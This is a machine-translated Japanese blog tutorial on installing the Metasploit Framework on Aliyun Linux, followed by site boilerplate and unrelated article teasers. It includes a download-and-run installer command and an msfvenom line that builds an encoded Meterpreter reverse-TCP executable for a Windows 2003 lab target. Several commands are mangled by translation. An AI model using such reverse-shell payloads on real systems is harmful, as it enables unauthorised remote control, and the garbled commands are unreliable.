Linuxシステムにmsfをインストールするプロセスの詳細な説明

Linuxシステムにmsfをインストールするプロセスの詳細な説明

または、インストールプロセスを自分で書き留めてください。

私のサーバーシステムはAliyun Linuxです

1.ダウンロードしてインストールする
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

考えられるエラー: ファイル /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit を開けませんでした

それはライブラリのインストールの問題によるものです!
解決:
yum インストール -y epel-release
次に、上記のコマンドを繰り返します。

2. 新しいユーザーを追加してmsfを実行する
adduser msf #msf ユーザーを追加
su msf #msfユーザーに切り替える
cd /opt/metasploit-framework/bin #msf があるディレクトリに切り替えます
./msfコンソール
#今後は msfconsole を起動し、起動時に msf ユーザーに切り替えて、データベースが同期されるようにします。
root ユーザーとして起動すると、データベースは同期されません。
(スタートアップ インデックスはデフォルトですでに構成されています!)
msfconsole を起動するだけです!

#関連コマンド [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# データベースの初期化 [msf@xxxx root]$ msfdb
コマンド:
 initはコンポーネントを初期化します
 reinit コンポーネントを削除して再初期化する
 コンポーネントを削除して停止する
 ステータスチェックコンポーネントステータス
 コンポーネントを開始する
 コンポーネントを停止する
 コンポーネントを再起動します
#テスト:
たとえば、私の仮想ホストはWin2003(ターゲットマシン)です。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注意:エラスティッククラウドサーバIPの場合、LHOSTはイ​​ントラネットで割り当てられたIPに設定する必要があり、パブリックIPは設定できません【この落とし穴に長い間悩まされていました! ! !血を吐く! ! ! ]

ここに画像の説明を挿入

ps: Linux システムに msf フレームワークをインストールする

注文:

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run を実行します。
chmod 755 metasploit-latest-linux-installer.run
./metasploit-最新-linux-インストーラー.run

実行が終了するまでお待ちください。重要なポイントで Enter キーと Y キーを押すだけです。

要約する

Linux システムに msf をインストールする詳細なプロセスに関するこの記事はこれで終わりです。Linux システムに msf をインストールすることに関するより関連性の高いコンテンツについては、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。皆様が今後も 123WORDPRESS.COM をサポートしてくれることを願っています。

以下もご興味があるかもしれません:
  • php-msf ソースコードの詳細な説明
  • システム ストアド プロシージャ sp_MSforeachtable および sp_MSforeachdb の使用手順

<<:  React Native JSIはRNとネイティブ通信のサンプルコードを実装します

>>:  Linux Centos7 に mysql8 をインストールするチュートリアル

推薦する

Vue.js ドラッグ可能なテキストボックスコンポーネントの使用方法の詳細な説明

目次コンポーネントの登録コンポーネントの追加ソースコードドラッグ可能なテキスト ボックスでは、ユーザ...

複数の X 軸を使用して 7 日間の天気予報を実現するための Echarts サンプル コード

目次UIデザインEcharts の例の効果序文サンプルコード最終結果UIデザイン Echarts の...

txt ブックの内容を Web ページに表示するコード

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1...

Linux サーバーに埋め込まれた ddgs および qW3xT.2 マイニング ウイルスの対処の実践記録

序文仮想通貨の狂気的な投機により、マイニングウイルスは犯罪者が最も頻繁に使用する攻撃方法の 1 つに...

幅の比率に応じて高さを変えるCSSを実装するいくつかの方法

[解決策1: パディングの実装]原理:要素の padding の値がパーセンテージの場合、このパーセ...

WeChatミニプログラムQRコード生成ツール weapp-qrcode 詳細説明

WeChat ミニプログラム - QR コード ジェネレーターダウンロード: weapp-qrcod...

Windows 10 での MySQL 8.0.11 圧縮バージョンのインストール チュートリアル

この記事では、MySQL 8.0.11圧縮版のインストールチュートリアルを参考までに紹介します。具体...

JavaScript 配列の重複排除とフラット化関数の紹介

目次1. 配列の平坦化(配列の次元削減とも呼ばれる)方法1: 削減メソッドを使用する方法2: スタッ...

TypeScript での関数オーバーロード

目次1. 関数シグネチャ2. 関数のオーバーロード2.1 オーバーロードされたシグネチャは呼び出し可...

Docker Compose を使用して Confluence を構築するチュートリアル

この記事は「Attribution 4.0 International (CC BY 4.0)」ライ...

カルーセル例の JS 実装

この記事では、カルーセルチャートの小さなケースを実装するためのJSの具体的なコードを参考までに共有し...

自動開始および停止コマンドを適用するには、Docker サービスを再起動します (推奨)

Docker サービス アプリケーションを再起動するコマンドを見てみましょう。具体的な内容は次のと...

単一選択折りたたみメニュー機能を実現するCSS

前回の「最もシンプルなスイッチを実現するCSS」のように、HTML5とCSS3でほとんどの機能をすで...

CSS を使用して半透明の背景と不透明なテキストを実現する例

この記事では、CSS を使用して半透明の背景と不透明なテキストの効果を実現する方法の例を紹介します。...

Vueはソースコード付きのリファレンスライブラリのメソッドを使用します

monaco-editor-vueの公式ソースコードは次のとおりです。インデックス 'mon...